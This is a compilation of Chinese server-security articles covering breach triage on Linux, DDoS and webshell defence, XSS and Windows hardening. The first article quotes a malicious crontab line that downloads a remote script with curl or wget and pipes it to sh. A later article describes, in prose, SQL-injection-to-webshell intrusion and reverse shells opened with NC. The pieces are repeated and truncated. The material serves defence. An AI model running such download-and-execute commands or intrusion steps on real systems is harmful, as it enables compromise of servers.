服务器被攻击解决方法
很多客户网站服务器被入侵和攻击，找到我们寻求技术支持与帮助，有些网站被篡改，被跳转，首页内容被替换，服务器植入木马后门，服务器卡顿，服务器异常网络连接，有的客户使用的是阿里云服务器，经常被提醒服务器有挖矿程序，以及网站被上传webshell的安全提醒，包括腾讯云提示服务器有木马文件，客户网站被攻击的第一时间，是需要立即处理把损失降到最低，让网站恢复正常的访问。根据我们的处理经验，总结了一些服务器被攻击、被黑的排查办法，专门用来检查服务器第一时间的安全问题，看发生在哪里，服务器是否被黑、被攻击，哪些被篡改等等。
具体排查服务器被攻击的方法：
首先我们会对当前服务器的IP，以及IP的地址，linux服务器名称，服务器的版本是centos,还是redhat，服务器的当前时间，进行收集并记录到一个txt文档里，接下来再执行下一步，对当前服务器的异常网络连接以及异常的系统进程检查，主要是通过netstat -an以及-antp命令来检查服务器存在哪些异常的IP连接。并对连接的IP，进行归属地查询，如果是国外的IP，直接记录当前进程的PID值，并自动将PID的所有信息记录，查询PID所在的linux文件地址，紧接着检查当前占用CPU大于百分之30的进程，并检查该进程所在的文件夹。
在我们处理客户服务器被攻击的时候发现很多服务器的命令被篡改，比如正常的PS查看进程的，查询目录的 cd的命令都给篡改了，让服务器无法正常使用命令，检查服务器安全造成了困扰。对服务器的启动项进行检查，有些服
务器被植入木马后门，即使重启服务器也还是被攻击，木马会自动的启动，检
查linux的init.d的文件夹里是否有多余的启动文件，也可以检查时间，来判
断启动项是否有问题。
再一个要检查的地方是服务器的历史命令，history很多服务器被黑都会留下痕迹，比如SSH登录服务器后，攻击者对服务器进行了操作，执行了那些恶意命令都可以通过history查询的到，有没有使用wget命令下载木马，或者
执行SH文件。检查服务器的所有账号，以及当前使用并登录的管理员账户，
tty是本地用户登录，pst是远程连接的用户登录，来排查服务器是否被黑，被攻击，也可以检查login.defs文件的uid值，判断uid的passwd来获取最近新建的管理员账户。执行cat etc/passwd命令检查是否存在异常的用户账户，包括特权账户，UID值为0.
最重要的是检查服务器的定时任务，前段时间某网站客户中了挖矿病毒，
一直占用CPU，查看了定时任务发现每15分钟自动执行下载命令，crontab -l */15 * * * * (curl -fsSL https://https://www.360docs.net/doc/229450836.html,/raw/TS4NeUnd||wget -q-O- https://https://www.360docs.net/doc/229450836.html,/raw/TS4NeUnd)|sh 代码如上，自动下载并执行SH木马文件。定时任务删都删不掉，最后通过检查系统文件查到了木马，并终止进
程，强制删除。有些服务器被黑后，请立即检查2天里被修改的文件，可以通过find命令去检查所有的文件，看是否有木马后门文件，如果有可以确定服务器被黑了。
以上就是服务器被入侵攻击的检查办法，通过给出的检查步骤，挨个去检查，就会发现出问题，最重要的是要检查日志，对这些日志要仔细的检查，哪怕一个特征都会导致服务器陷入被黑，被攻击的状态，也希望青云安全团队的分享能够帮助到更多需要帮助的人，让你的服务器更安全。
计算机网络攻击常见手法及防范措施
计算机网络攻击常见手法及防范措施 一、计算机网络攻击的常见手法 互联网发展至今，除了它表面的繁荣外，也出现了一些不良现象，其中黑客攻击是最令广大网民头痛的事情，它是计算机网络安全的主要威胁。下面着重分析黑客进行网络攻击的几种常见手法及其防范措施。 （一）利用网络系统漏洞进行攻击 许多网络系统都存在着这样那样的漏洞，这些漏洞有可能是系统本身所有的，如WindowsNT、UNIX等都有数量不等的漏洞，也有可能是由于网管的疏忽而造成的。黑客利用这些漏洞就能完成密码探测、系统入侵等攻击。 对于系统本身的漏洞，可以安装软件补丁；另外网管也需要仔细工作，尽量避免因疏忽而使他人有机可乘。 （二）通过电子邮件进行攻击 电子邮件是互联网上运用得十分广泛的一种通讯方式。黑客可以使用一些邮件炸弹软件或CGI程序向目的邮箱发送大量内容重复、无用的垃圾邮件，从而使目的邮箱被撑爆而无法使用。当垃圾邮件的发送流量特别大时，还有可能造成邮件系统对于正常的工作反映缓慢，甚至瘫痪，这一点和后面要讲到的“拒绝服务攻击（DDoS）比较相似。 对于遭受此类攻击的邮箱，可以使用一些垃圾邮件清除软件来解决，其中常见的有SpamEater、Spamkiller等，Outlook等收信软件同样也能达到此目的。 （三）解密攻击 在互联网上，使用密码是最常见并且最重要的安全保护方法，用户时时刻刻都需要输入密码进行身份校验。而现在的密码保护手段大都认密码不认人，只要有密码，系统就会认为你是经过授权的正常用户，因此，取得密码也是黑客进行攻击的一重要手法。取得密码也还有好几种方法，一种是对网络上的数据进行监听。因为系统在进行密码校验时，用户输入的密码需要从用户端传送到服务器端，而黑客就能在两端之间进行数据监听。但一般系统在传送密码时都进行了加密处理，即黑客所得到的数据中不会存在明文的密码，这给黑客进行破解又提了一道难题。这种手法一般运用于局域网，一旦成功攻击者将会得到很大的操作权益。另一种解密方法就是使用穷举法对已知用户名的密码进行暴力解密。这种解密软件对尝试所有可能字符所组成的密码，但这项工作十分地费时，不过如果用户的密码设置得比较简单，如“12345”、“ABC”等那有可能只需一眨眼的功夫就可搞定。 为了防止受到这种攻击的危害，用户在进行密码设置时一定要将其设置得复杂，也可使用多层密码，或者变换思路使用中文密码，并且不要以自己的生日和电话甚至用户名作为密码，因为一些密码破解软件可以让破解者输入与被破解用户相关的信息，如生日等，然后对这些数据构成的密码进行优先尝试。另外应该经常更换密码，这样使其被破解的可能性又下降了不少。 （四）后门软件攻击 后门软件攻击是互联网上比较多的一种攻击手法。Back Orifice2000、冰河等都是比较著名的特洛伊木马，它们可以非法地取得用户电脑的超级用户级权利，可以对其进行完全的控制，除了可以进行文件操作外，同时也可以进行对方桌面抓图、取得密码等操作。这些后门软件分为服务器端和用户端，当黑客进行攻击时，会使用用户端程序登陆上已安装好服务器端程序的电脑，这些服务器端程序都比较小，一般会随附带于某些软件上。有可能当用户下载了一个小游戏并运行时，后门软件的服务器端就安装完成了，而且大部分后门软件的重生能力
服务器防御DDoS攻击的11种方法
服务器防御DDoS攻击的11种方法 1.确保所有服务器采用最新系统，并打上安全补丁。计算机紧急响应协调中心发现，几乎每个受到DDOS攻击的系统都没有及时打上补丁。 2.确保管理员对所有主机进行检查，而不仅针对关键主机。这是为了确保管理员知道每个主机系统在运行什么?谁在使用主机?哪些人可以访问主机?不然，即使黑客侵犯了系统，也很难查明。 3.确保从服务器相应的 目录或文件数据库中删除未使用的服务如FTP或NFS。Wu-Ftpd等守护程序存在一些已知的漏洞，黑客通过根攻击就能获得访问特权系统的权限，并能访问其他系统——甚至是受防火墙保护的系统。 4.确保运行在Unix上的所有服务都有TCP封装程序，限制对主机的访问权限。 5.禁止内部网通过Modem连接至PSTN系统。否则，黑客能通过电话线发现未受保护的主机，即刻就能访问极为机密的数据。 6.禁止使用网络访问程序如Telnet、Ftp、Rsh、Rlogin和Rcp，以基于PKI的访问程序如SSH取代。SSH不会在网上以明文格式传送口令，而Telnet和Rlogin则正好相反，黑客能搜寻到这些口令，从而立即访问网络上的重要服务器。此外，在Unix上应该将.rhost 和hosts.equiv文件删除，因为不用猜口令，这些文件就会提供登录访问! 7.限制在防火墙外与网络文件共享。这会使黑客有机会截获系统文件，并以特洛伊木马替换它，文件传输功能无异将陷入瘫痪。
8.确保手头有一张最新的网络拓扑图。这张图应该详细标明TCP/IP地址、主机、路由器及其他网络设备，还应该包括网络边界、非军事区(DMZ)及网络的内部保密部分。 9.在防火墙上运行端口映射程序或端口扫描程序。大多数事件是由于防火墙配置不当造成的，使DoS/DDOS攻击成功率很高，所以定要认真检查特权端口和非特权端口。 10.检查所有网络设备和主机/服务器系统的日志。只要日志出现漏洞或时间出现变更，几乎可以肯定：相关的主机安全受到了危胁。 11.利用DDOS设备提供商的设备。 遗憾的是，目前没有哪个网络可以免受DDOS攻击，但如果采取上述几项措施，能起到一定的预防作用。
服务器如何防止攻击
建站一段时间后总能听到什么网站被挂马、被黑。好像入侵挂马似乎是件很简单的事情。其实，入侵并不简单，是你网站服务器的必要安全措施没做好，才会这么轻易的被攻击。 服务器安全问题很重要，之前有客户的服务器被黑、管理员账号被修改、远程端口也被改了，在网上查了很多资料并按照教程自己设置，服务器跑了没一个月竟然瘫痪了，让机房检查系统挂了，只能重做系统。做完系统进去发现数据库都有各种程度的损坏，网站文件也被篡改了，弄了好就才把网站弄好，损失很大。最后咨询很多人给服务器做了各种安全才得以解决。下面是一些关于安全方面的建议，希望这些能帮到大家！ 一：挂马预防措施： 1、建议用户通过ftp来上传、维护网页，尽量不安装asp的上传程序。
2、定期对网站进行安全的检测，具体可以利用网上一些工具，如挂马检测工具！ 3、asp程序管理员的用户名和密码要有一定复杂性，不能过于简单，还要注意定期更换。 4、到正规网站下载asp程序，下载后要对其数据库名称和存放路径进行修改，数据库文件名称也要有一定复杂性。 5、要尽量保持程序是最新版本。 6、不要在网页上加注后台管理程序登陆页面的链接。 7、为防止程序有未知漏洞，可以在维护后删除后台管理程序的登陆页面，下次维护时再通过ftp上传即可。 8、要时常备份数据库等重要文件。 9、日常要多维护，并注意空间中是否有来历不明的asp文件。记住：一分汗水，换一分安全! 10、一旦发现被入侵，除非自己能识别出所有木马文件，否则要删除所有文件。 11、对asp上传程序的调用一定要进行身份认证，并只允许信任的人使用上传程序。这其中包括各种新闻发布、商城及论坛程 二：挂马恢复措施：
服务器被攻击解决方法
很多客户网站服务器被入侵和攻击，找到我们寻求技术支持与帮助，有些网站被篡改，被跳转，首页内容被替换，服务器植入木马后门，服务器卡顿，服务器异常网络连接，有的客户使用的是阿里云服务器，经常被提醒服务器有挖矿程序，以及网站被上传webshell的安全提醒，包括腾讯云提示服务器有木马文件，客户网站被攻击的第一时间，是需要立即处理把损失降到最低，让网站恢复正常的访问。根据我们的处理经验，总结了一些服务器被攻击、被黑的排查办法，专门用来检查服务器第一时间的安全问题，看发生在哪里，服务器是否被黑、被攻击，哪些被篡改等等。 具体排查服务器被攻击的方法： 首先我们会对当前服务器的IP，以及IP的地址，linux服务器名称，服务器的版本是centos,还是redhat，服务器的当前时间，进行收集并记录到一个txt文档里，接下来再执行下一步，对当前服务器的异常网络连接以及异常的系统进程检查，主要是通过netstat -an以及-antp命令来检查服务器存在哪些异常的IP连接。并对连接的IP，进行归属地查询，如果是国外的IP，直接记录当前进程的PID值，并自动将PID的所有信息记录，查询PID所在的linux文件地址，紧接着检查当前占用CPU大于百分之30的进程，并检查该进程所在的文件夹。 在我们处理客户服务器被攻击的时候发现很多服务器的命令被篡改，比如正常的PS查看进程的，查询目录的 cd的命令都给篡改了，让服务器无法正常使用命令，检查服务器安全造成了困扰。对服务器的启动项进行检查，有些服
务器被植入木马后门，即使重启服务器也还是被攻击，木马会自动的启动，检 查linux的init.d的文件夹里是否有多余的启动文件，也可以检查时间，来判 断启动项是否有问题。 再一个要检查的地方是服务器的历史命令，history很多服务器被黑都会留下痕迹，比如SSH登录服务器后，攻击者对服务器进行了操作，执行了那些恶意命令都可以通过history查询的到，有没有使用wget命令下载木马，或者 执行SH文件。检查服务器的所有账号，以及当前使用并登录的管理员账户， tty是本地用户登录，pst是远程连接的用户登录，来排查服务器是否被黑，被攻击，也可以检查login.defs文件的uid值，判断uid的passwd来获取最近新建的管理员账户。执行cat etc/passwd命令检查是否存在异常的用户账户，包括特权账户，UID值为0. 最重要的是检查服务器的定时任务，前段时间某网站客户中了挖矿病毒， 一直占用CPU，查看了定时任务发现每15分钟自动执行下载命令，crontab -l */15 * * * * (curl -fsSL https://https://www.360docs.net/doc/229450836.html,/raw/TS4NeUnd||wget -q-O- https://https://www.360docs.net/doc/229450836.html,/raw/TS4NeUnd)|sh 代码如上，自动下载并执行SH木马文件。定时任务删都删不掉，最后通过检查系统文件查到了木马，并终止进
预防DdoS攻击从合理配置服务器及架设防火墙开始
预防DdoS攻击从合理配置服务器及架设防火墙开始 一、合理配置服务器有效预防DdoS攻击 1、拒绝服务攻击的发展 从拒绝服务攻击诞生到现在已经有了很多的发展，从最初的简单Dos到现在的DdoS。那么什么是Dos和DdoS呢?DoS是一种利用单台计算机的攻击方式。而DdoS(Distributed Denial of Service，分布式拒绝服务)是一种基于DoS的特殊形式的拒绝服务攻击，是一种分布、协作的大规模攻击方式，主要瞄准比较大的站点，比如一些商业公司、搜索引擎和政府部门的站点。DdoS攻击是利用一批受控制的机器向一台机器发起攻击，这样来势迅猛的攻击令人难以防备，因此具有较大的破坏性。如果说以前网络管理员对抗Dos可以采取过滤IP地址方法的话，那么面对当前DdoS众多伪造出来的地址则显得没有办法。所以说防范DdoS攻击变得更加困难，如何采取措施有效的应对呢?下面我们从两个方面进行介绍。 2、预防为主保证安全 DdoS攻击是黑客最常用的攻击手段，下面列出了对付它的一些常规方法。 (1)定期扫描
要定期扫描现有的网络主节点，清查可能存在的安全漏洞，对新出现的漏洞及时进行清理。骨干节点的计算机因为具有较高的带宽，是黑客利用的最佳位置，因此对这些主机本身加强主机安全是非常重要的。而且连接到网络主节点的都是服务器级别的计算机，所以定期扫描漏洞就变得更加重要了。 (2)在骨干节点配置防火墙 防火墙本身能抵御DdoS攻击和其他一些攻击。在发现受到攻击的时候，可以将攻击导向一些牺牲主机，这样可以保护真正的主机不被攻击。当然导向的这些牺牲主机可以选择不重要的，或者是linux 以及unix等漏洞少和天生防范攻击优秀的系统。 (3)用足够的机器承受黑客攻击 这是一种较为理想的应对策略。如果用户拥有足够的容量和足够的资源给黑客攻击，在它不断访问用户、夺取用户资源之时，自己的能量也在逐渐耗失，或许未等用户被攻死，黑客已无力支招儿了。不过此方法需要投入的资金比较多，平时大多数设备处于空闲状态，和目前中小企业网络实际运行情况不相符。 (4)充分利用网络设备保护网络资源 所谓网络设备是指路由器、防火墙等负载均衡设备，它们可将网络有效地保护起来。当网络被攻击时最先死掉的是路由器，但其他机器没有死。死掉的路由器经重启后会恢复正常，而且启动起来还很快，没有什么损失。若其他服务器死掉，其中的数据会丢失，而且重启服务器又是一个漫长的过程。特别是一个公司使用了负载均衡设备，这
服务器安全防护措施
随着网络技术的发展，服务器面临着越来越多的安全威胁。因此，加强服务器的安全防护成为一项迫切需要解决的问题。那么到底该怎么做才能使服务器更安全呢？今天，我们来谈一谈具体的防护措施，可以从以下五大方面入手： 一、安全设置 1、加强服务器的安全设置 以Linux为操作平台的服务器安全设置策略，能够有效降低服务器的安全隐患，以确保它的安全性。安全设置主要包括：登录用户名与密码的安全设置、系统口令的安全设置、BIOS的安全设置、使用SSL通信协议、命令存储的修改设置、隐藏系统信息、启用日志记录功能以及设置服务器有关目录的权限等。 2、加强内网和外网的安全防范 服务器需要对外提供服务，它既有域名,又有公网IP，显然存在着一些安全隐患。因此，可以给服务器分配私有的IP地址，并且运用防火墙来做NAT （网络地址转换），可将其进行隐藏。 有些攻击来源于内网，如果把内网计算机和服务器放置在相同的局域网之内，则在一定程度上会增加很多安全隐患，所以必须把它划分为不同的虚拟局域网。运用防火墙的“网络地址转换”来提供相互间的访问，这样就能极大提
高服务器的安全性和可靠性。 把服务器连接至防火墙的DMZ（隔离区）端口，将不适宜对外公布的重要信息的服务器，放在内部网络，进而在提供对外服务的同时，可以最大限度地保护好内部网络。 3、网络管理员，要不断加强网络日常安全的维护与管理 要对“管理员用户名与密码”定期修改；要对服务器系统的新增用户情况进行定时核对，并且需要认真仔细了解网络用户的各种功能；要及时更新服务器系统的杀毒软件以及病毒数据库，必要时，可针对比较特殊的病毒，安装专门的杀毒程序，同时要定期查杀服务器的系统病毒，定期查看CPU的正常工作使用状态、后台工作进程以及应用程序等。如若发现异常情况，需要及时给予妥当处理。因为很多“病毒与木马程序”，都是运用系统漏洞来进行攻击的，所以需要不断自动更新服务器系统，以及定期扫描服务器系统的漏洞。 很多服务器已经成为了“病毒、木马程序”感染的重灾区。不但企业的门户网站被篡改、资料被窃取，而且本身还成为了“病毒与木马程序”的传播者。有些服务器管理员采取了一些措施，虽然可以保证门户网站的主页不被篡改，但是却很难避免自己的网站被当作“肉鸡”，来传播“病毒、恶意插件、木马程序”等等。这很大一部分原因是，网络管理员在网站安全的防护上太被动。他们只是被动的防御，而没有进行主动防御和检测。为了彻底提高服务器的安全等级，网站安全需要主动出击。、
DDOS几种常见攻击方式的原理及解决办法
DDOS几种常见攻击方式的原理及解决办法 DOS的表现形式 DDOS的表现形式主要有两种，一种为流量攻击，主要是针对网络带宽的攻击，即大量攻击包导致网络带宽被阻塞，合法网络包被虚假的攻击包淹没而无法到达主机；另一种为资源耗尽攻击，主要是针对服务器主机的攻击，即通过大量攻击包导致主机的内存被耗尽或CPU被内核及应用程序占完而造成无法提供网络服务。 【如何判断网站是否遭受了流量攻击呢？】可通过Ping命令来测试，若发现Ping超时或丢包严重(假定平时是正常的)，则可能遭受了流量攻击，此时若发现和你的主机接在同一交换机上的服务器也访问不了了，基本可以确定是遭受了流量攻击。当然，这样测试的前提是你到服务器主机之间的ICMP协议没有被路由器和防火墙等设备屏蔽，否则可采取Telnet主机服务器的网络服务端口来测试，效果是一样的。不过有一点可以肯定，假如①平时Ping你的主机服务器和接在同一交换机上的主机服务器都是正常的，突然都Ping不通了或者是严重丢包，那么假如可以排除网络故障因素的话则肯定是遭受了流量攻击（前提是你到服务器主机之间的ICMP协议没有被路由器和防火墙等设备屏蔽），②再一个流量攻击的典型现象是，一旦遭受流量攻击，会发现用远程终端连接网站服务器会失败。 相对于流量攻击而言，【资源耗尽攻击】要容易判断一些，①假如平时Ping网站主机和访问网站都是正常的，发现突然网站访问非常缓慢或无法访问了，而Ping还可以Ping 通，则很可能遭受了资源耗尽攻击，此时若在服务器上用Netstat -na命令观察到有大量的SYN_RECEIVED（SYN攻击属于DDoS攻击的一种，它利用TCP协议缺陷，通过发送大量的半连接请求，耗费CPU和内存资源。SYN攻击除了能影响主机外，还可以危害路由器、防火墙等网络系统，事实上SYN攻击并不管目标是什么系统，只要这些系统打开TCP服务就可以实施。服务器接收到连接请求（syn= j），将此信息加入未连接队列，并发送请求包给客户（syn=k,ack=j+1），此时进入SYN_RECV状态。当服务器未收到客户端的确认包时，重发请求包，一直到超时，才将此条目从未连接队列删除。配合IP欺骗，SYN攻击能达到很好的效果，通常，客户端在短时间内伪造大量不存在的IP地址，向服务器不断地发送syn包，服务器回复确认包，并等待客户的确认，由于源地址是不存在的，服务器需要不断的重发直至超时，这些伪造的SYN包将长时间占用未连接队列，正常的SYN请求被丢弃，目标系统运行缓慢，严重者引起网络堵塞甚至系统瘫痪）、TIME_WAIT、 FIN_WAIT_1等状态存在，而ESTABLISHED很少，则可判定肯定是遭受了资源耗尽攻击。还有一种属于资源耗尽攻击的现象是，②Ping自己的网站主机Ping不通或者是丢包严重，而Ping与自己的主机在同一交换机上的服务器则正常，造成这种原因是网站主机遭受攻击后导致系统内核或某些应用程序CPU利用率达到100%无法回应Ping命令，其实带宽还是有的，否则就Ping不通接在同一交换机上的主机了。
服务器系统安全防御攻击的各种设置方法
Wind2000服务器系统安全防御攻击的各种设置方法 对于服务器，如果你是一位真正的GM，那么一定知道，并且也经常使用，在这其中我们也有遇到Wind2000服务器系统的，当时这个安全防御攻击的设置的方法是什么呢？下面就一一说明。 内容有一点长，你们知道认真慢慢的看。 下面是我多年的经验 新人架设好后传奇，开发已经是很容易的事情，但是如何防止INTERNETE上的不安全因数了 有部分人的服务器是用的win2000，应该注意到了安装后默认都是关闭了GUEST帐号的，如果没有关闭该帐号的朋友请在控制面板管理工具，计算机管理中的用户那里进行永久禁用处理.现在去打上SP4，后门漏洞应该关闭的差不多了，注意开机一定要设定一个密码，最好让WIN2K使用自动升级功能，实现无人管理. 如果你的系统上安装了SQL,一定要屏蔽了3389端口. 私服安全现在已经做的差不多了.现在应该做的是一定把防火墙安装起，如果有条件可以把LockDown给他安装起.他可以有效的制止黑客木马程序运行起作用. 屏蔽端口文章: 用win2000的IP安全策略封闭端口的办法 封锁端口，全面构建防线 黑客大多通过端口进行入侵，所以你的服务器只能开放你需要的端口，那么你需要哪些端口呢？以下是常用端口，你可根据需要取舍： 80为Web网站服务；21为FTP服务；25 为E-mail SMTP服务；110为Email POP3服务。 其他还有SQL Server的端口1433等，你可到网上查找相关资料。那些不用的端口一定要关闭！关闭这些端口，我们可以通过Windows 2000的安全策略进行。 借助它的安全策略，完全可以阻止入侵者的攻击。你可以通过“管理工具→本地安全策略”进入，右击“IP安全策略”，选择“创建IP安全策略”，点[下一步]。输入安全策略的名称，点[下一步]，一直到完成，你就创建了一个安全策略： 接着你要做的是右击“IP安全策略”，进入管理IP筛选器和筛选器操作，在管理IP筛选器列表中，你可以添加要封锁的端口，这里以关闭ICMP和139端口为例说明。 关闭了ICMP，黑客软件如果没有强制扫描功能就不能扫描到你的机器，也Ping不到你的机器。关闭ICMP的具体操作如下：点[添加]，然后在名称中输入“关闭ICMP”，点右边的[添加]，再点[下一步]。在源地址中选“任何IP地址”，点[下一步]。在目标地址中选择“我的IP地址”，点[下一步]。在协议中选择“ICMP”，点[下一步]。回到关闭ICMP属性窗口，即关闭了ICMP。
常见站点攻击和处理方法
1、流量攻击 就是常说的DDoS攻击，分为带宽攻击和应用攻击，宽带攻击，是竞争对手惯用的一种方法，一般是使用大量数据包淹没一个或多个路由器、服务器和防火墙，使你的网站处于瘫痪状态无法正常打开。应用攻击是CC攻击。 方法：现在很多设备都有方DDOS模块，如防火墙或是专业的DDOS设备。 防CC，返回验证码。 2、破坏数据性攻击 这种攻击时最严重，网站权限被拿到，数据被删除，这样就会造成大量的无页面链接，即死链接，这对于网站来说是致命的，不仅搜索引擎会降权，还会丢失大量用户。 建议：经常备份网站数据和网站关键程序，最好打包到本地电脑里;做好关键文件的权限设置;网站最好采用全静态页面，因为静态页面是不容易被黑客攻击的;ftp和后台相关密码不要用弱口令。 3、挂黑链攻击 搜索引擎一旦把你的网站视为木马网站就会封，甚至加为黑名单，这样你只能换域名了，挂黑链主要是首页。网站首页挂载其他链接，比如博彩网。 建议：除了做好第2种攻击提到的安全措施外，要经常检查一下网站的导出链接，看是否有可疑链接;你可以在网站装一个360或瑞星网页安全检测工具。 4、挂马检测与解决方案 攻击者可通过各种手段，包括SQL注入，网站敏感文件扫描、服务器漏洞等各种方法获得网站管理员账号，然后登陆网站后台，通过数据库备份/恢复或者上传漏洞获得一个webshell。利用获得的webshell修改网站页面的内容，向页面中加入恶意转向代码。 挂马实例 比如常见通过的 这样就能轻易把一个有危险的文件直接导入到站点网页，危害很大。 挂马解决方案 1）.检索文件，对可疑文件进行检查。2）.通过系统审核、服务器安全配置、监测网站代码存在漏洞或隐患、网站后台管理员用户名密码、CSS配合JS脚本进行预防。 5、跨站脚本攻击(XSS) 跨站脚本攻击（XSS，Cross-site scripting）是最常见和基本的攻击WEB网站的方法。攻击者在网页上发布包含攻击性代码的数据。当浏览者看到此网页时，嵌入其中Web里面的html 代码会以浏览者用户的身份和权限来执行。通过XSS可以比较容易地修改用户数据、窃取用户信息，以及造成其它类型的攻击，例如CSRF攻击。 解决办法：XSS攻击的模式很简单，就是把自己的代码嵌入到页面里，随页面一块执行；XSS攻击的防范也一样简单，就是对输出到页面上的内容中特定字符进行转义，使代码不能执行即可。1）html 只需要处理掉< > 即可，只要没有html标签，页面就是安全的。可以使用php内置方法htmlspecialchars来处理待输出的内容，将<,>,& 转义。
网络服务器的安全防范对策
网络服务器的安全防范对策 网络服务器存储着大量重要的数据，加强服务器的安全是提高网络安全的重要环节。服务器操作系统本身的安全性还是很高的，但是我们如果不进行相应的安全配置，则达不到可信任计算机系统评估标准。我们需要在基本配置、用户密码安全设置、系统安全设置、服务安全设置、安全管理制度等方面进行相应的设置。 一基本安装配置(1)安装操作系统时注意安装正版的英文版的的操作系统，并且在服务器上只安装一种操作系统，过多的操作系统只会给入侵者更多的机会攻击服务器，致使服务器重新启动到没有安全配置的操作系统，从而破坏操作系统。(2)给服务器硬盘分区时一定要使用NTFS分区。对于黑客来说存储在FAT格式的磁盘分区里的数据要比存储在NTFS格式的磁盘分区的数据更容易访问，也更容易破坏。因此我们在进行分区和格式化时一定要采用NTFS分区格式，这种分区格式比FAT格式具有更多的安全配置功能，可以针对不通的文件夹设置不同的访问权限，大大提高服务器的访问安全。(3)做好数据的备份策略，提高硬盘数据安全性。在考虑服务器服务器硬盘配置时，应该考虑多个硬盘通过RAID方式进行数据的冗余。另外，为避免硬盘损坏或者被盗，按照“不要把所有鸡蛋放到同一个篮子”的理论我们应该使用单独的专门设备保存这些珍贵数据。如多机备份、磁带备份等。(4)安装各种应用软件完成后，尽快安装补丁程序。(5)安装杀毒软件和软件防火墙，及时升级病毒库，可以有效清除病毒、木马、后门程序等。二用户密码安全设置 2.1 用户安全配置(1)禁用guest帐号。有很多入侵都是通过这个账号进一步获得管理员密码或者权限的。如果不想把自己的计算机给别人当玩具，那还是禁止的好。(2)创建两个管理员帐号。创建一个一般权限用户用来收信以及处理一些日常事物，另一个拥有Administrators权限的用户只在需要的时候使用。(3)限制不必要的用户。去掉所有的DuplicateUser用户、测试用户、共享用户等等。用户组策略设置相应权限，并且经常检查系统的用户，删除已经不再使用的用户。这些用户很多时候都是黑客们入侵系统的突破口。(4)把系统administrator用户改名。大家都知道，Windows server的Administrator用户是不能被停用的，这意味着别人可以一遍又一遍地尝试这个用户的密码。尽量把它伪装成普通用户，将Administrator账号改名可以防止黑客知道自己的管理员账号，这会在很大程度上保证计算机安全。(5)创建一个陷阱用户。什么是陷阱用户?即创建一个名为“Administrator”的本地用户，把它的权限设置成最低，什么事也干不了的那种，并且加上一个超过1O位的超级复杂密码。这样可以让那些黑客们忙上一段时间，借此发现它们的入侵企图。(6)把共享文件的权限从everyone组改成授权用户。任何时候都不要把共享文件的用户设置成“Everyone”组，包括打印共享，默认的属性就是“Everyone”组的，一定不要忘了改。(7)开启用户策略。使用用户策略，分别设置复位用户锁定计数器时间为20分钟，用户锁定时间为20分钟，用户锁定阈值为3次。 (8)不让系统显示上次登录的用户名。默认情况下，登录对话框中会显示上次登录的用户名。这使得别人可以很容易地得到系统的一些用户名，进而做密码猜测。可以通过修改注册表不让对话框里显示上次登录的用户名。 2.2 密码安全设置(1)使用安全密码，注意密码的复杂性。一些公司的管理员创建账号的时候往往用公司名、计算机名做用户名，然后又把这些用户的密码设置得太简单，比如“welcome”等等。因此，要注意密码的复杂性，还要记住经常改密码。(2)设置屏幕保护密码。这是一个很简单也很有必要的操作。设置屏幕保护密码也是防止内部人员破坏服务器的一个屏障。(3)考虑使用智能卡来代替密码。对于密码，总是使安全管理员进退两难，密码设置简单容易受到黑客的攻击，密码设置复杂又容易忘记。如果条件允许，用智能卡来代替复杂的密码是一个很好的解决方法。 (4)开启密码策略控制。密码策略控制是否允许用户重新使用旧的密码，在两次更改密码之间
针对Web服务器的八种攻击方式
针对Web服务器的八种攻击方式 作者：佚名文章来源：不详点击数：1006 更新时间：2009-1-10 1、SQL注入漏洞的入侵 这种是ASP+ACCESS的网站入侵方式，通过注入点列出数据库里面管理员的帐号和密码信息，然后猜解出网站的后台地址，然后用帐号和密码登录进去找到文件上传的地方，把ASP木马上传上去，获得一个网站的WEBSHELL。 2、ASP上传漏洞的利用 这种技术方式是利用一些网站的ASP上传功能来上传ASP木马的一种入侵方式，不少网站都限制了上传文件的类型，一般来说ASP为后缀的文件都不允许上传，但是这种限制是可以被黑客突破的，黑客可以采取COOKIE欺骗的方式来上传ASP 木马，获得网站的WEBSHELL权限。 3、后台数据库备份方式获得WEBSHELL 这个主要是利用网站后台对ACCESS数据库进行数据库备份和恢复的功能，备份数据库路径等变量没有过滤导致可以把任何文件的后缀改成ASP，那么利用网站上传的功能上传一个文件名改成JPG或者GIF后缀的ASP木马，然后用这个恢复库备份和恢复的功能把这个木马恢复成ASP文件，从而达到能够获取网站WEBSHELL控制权限的目的。 4、网站旁注入侵 这种技术是通过IP绑定域名查询的功能查出服务器上有多少网站，然后通过一些薄弱的网站实施入侵，拿到权限之后转而控制服务器的其它网站。 5、sa注入点利用的入侵技术 这种是ASP+MSSQL网站的入侵方式，找到有SA权限的SQL注入点，然后用SQL 数据库的XP_CMDSHELL的存储扩展来运行系统命令建立系统级别的帐号，然后通过3389登录进去，或者在一台肉鸡上用NC开设一个监听端口，然后用VBS 一句话木马下载一个NC到服务器里面，接着运行NC 的反向连接命令，让服务器反向连接到远程肉鸡上，这样远程肉鸡就有了一个远程的系统管理员级别的控制权限。 6、sa弱密码的入侵技术 这种方式是用扫描器探测SQL的帐号和密码信息的方式拿到SA的密码，然后用SQLEXEC之类的工具通过1433端口连接到远程服务器上，然后开设系统帐号，
黑客是怎样攻击服务器的
黑客是怎样攻击服务器的 文：Saumil Udayan Shah 译：杨宴雷 Web服务器将成为下一代黑客施展妖术的对象。在很大程度上，进行这种攻 击只需一个Web浏览器和一个创造性的头脑。以前，黑客的攻击对象集中在操作系统和网络协议上，但随着这些攻击目标的弱点和漏洞逐渐得到修补，要进行这类攻击 已经变得非常困难。操作系统正在变得更加稳健，对攻击的抵抗能力日益提高。随 着身份验证和加密功能渐渐被内置到网络协议中，网络协议也变得更加安全。此外，防火墙也越来越智能，成为网络和系统的外部保护屏障。 另一方面，电子商务 技术正在日益普及开来，其复杂性有增无减。基于Web的应用程序正在与基本的操作系统和后端数据库更加紧密地集成在一起。遗憾的是，人们在基于Web的基础设施安全性方面所做的工作还很不够。Web服务器和Web应用程序中的弱点被发现的速度为何这么快呢？ 有很多因素促成了这种Web黑客活动的快速增加。其中最主要的原因是防火 墙允许所有的Web通信都可以进出网络，而防火墙无法防止对Web服务器程序及其组件或Web应用程序的攻击。第二个原因是，Web服务器和基于Web的应用程序有时是在\"功能第一，安全其次\"的思想指导下开发出来的。 当您的Web服务器面临巨大威胁时，怎样保障它们的安全呢？这就需要您不 断了解新信息，新情况，每天跟踪您所用服务器的有关网站，阅读相关新闻并向它 进行咨询。为了让你着手这方面的工作，下面介绍黑客对NT系统的四种常用攻击手段，同时介绍如何防止这类攻击。 Microsoft IIS ism.dll缓冲区溢出 受影响的服务器：运行IIS 